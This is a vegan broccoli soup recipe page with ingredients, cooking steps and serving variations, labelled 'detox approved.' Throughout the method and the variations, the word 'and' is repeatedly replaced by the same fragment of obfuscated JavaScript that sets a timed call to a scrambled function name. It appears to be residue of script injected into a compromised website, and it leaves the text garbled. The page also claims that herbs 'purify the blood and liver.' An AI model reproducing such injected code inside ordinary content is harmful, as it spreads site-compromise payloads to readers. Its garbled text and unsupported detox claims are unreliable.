Meatless Monday Broccoli Soup

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Y3’s Detox Approved Broccoli Soup

Ingredients

2 cloves of garlic

1 medium onion

2 Tablespoons of grape seed oil

1 large bunch broccoli (reserve some of the broccoli florets for garnish-Optional)

2 cups of milk of choice ( we like rice or almond milk  for this recipe)

1 cup of oats

3 cups of  vegetable stock or Chaga (Click on Chaga for all of the benefits of this medicinal mushroom) We use Chaga in our recipes whenever we can.  We love Chaga.

1/4 cup miso

1/4 cup water

Sauté garlic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and onions in oil. Add remaining ingredients (Reserve Miso so it doesn’t boil) cover andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and simmer for 10 min. Add miso last andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stir to combine. Purée soup in a food processor or high speed blender.  Steam the broccoli florets as a garnish to float on top when you serve the soup.

Serve for breakfast, a light lunch, as a side dish or pair with a salad or sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andwich.

Variations:

  • You can really use any green vegetable here or a combination of veggies.
  • Add Nutritional Yeast for a punch of B vitamins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a smoky cheesy flavor (We love nutritional yeast)
  • This recipe has been a favorite in the test kitchen for an acceptable detoxifying soup that can be a smoothie or green drink replacement while on a cleanse
  • As mentioned this is detox approved. But, there are numerous ways to make it richer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/or even more cleansing, like adding parsley or cilantro to help purify the blood andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and liver, or if you prefer richer, add cream or real cheese for a Broccoli Cheddar Soup
  • Sprinkle with nuts or seeds-We love Go Raw 100% Organic Sprouted Pumpkin Seeds (Can be purchased at most organic markets, we get ours from Whole Foods)
  • Experiment with different spices, it’s hard to go wrong here
  • Omit Miso andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and play with other flavors that suit your taste

Photo Courtesy of honest fare.com

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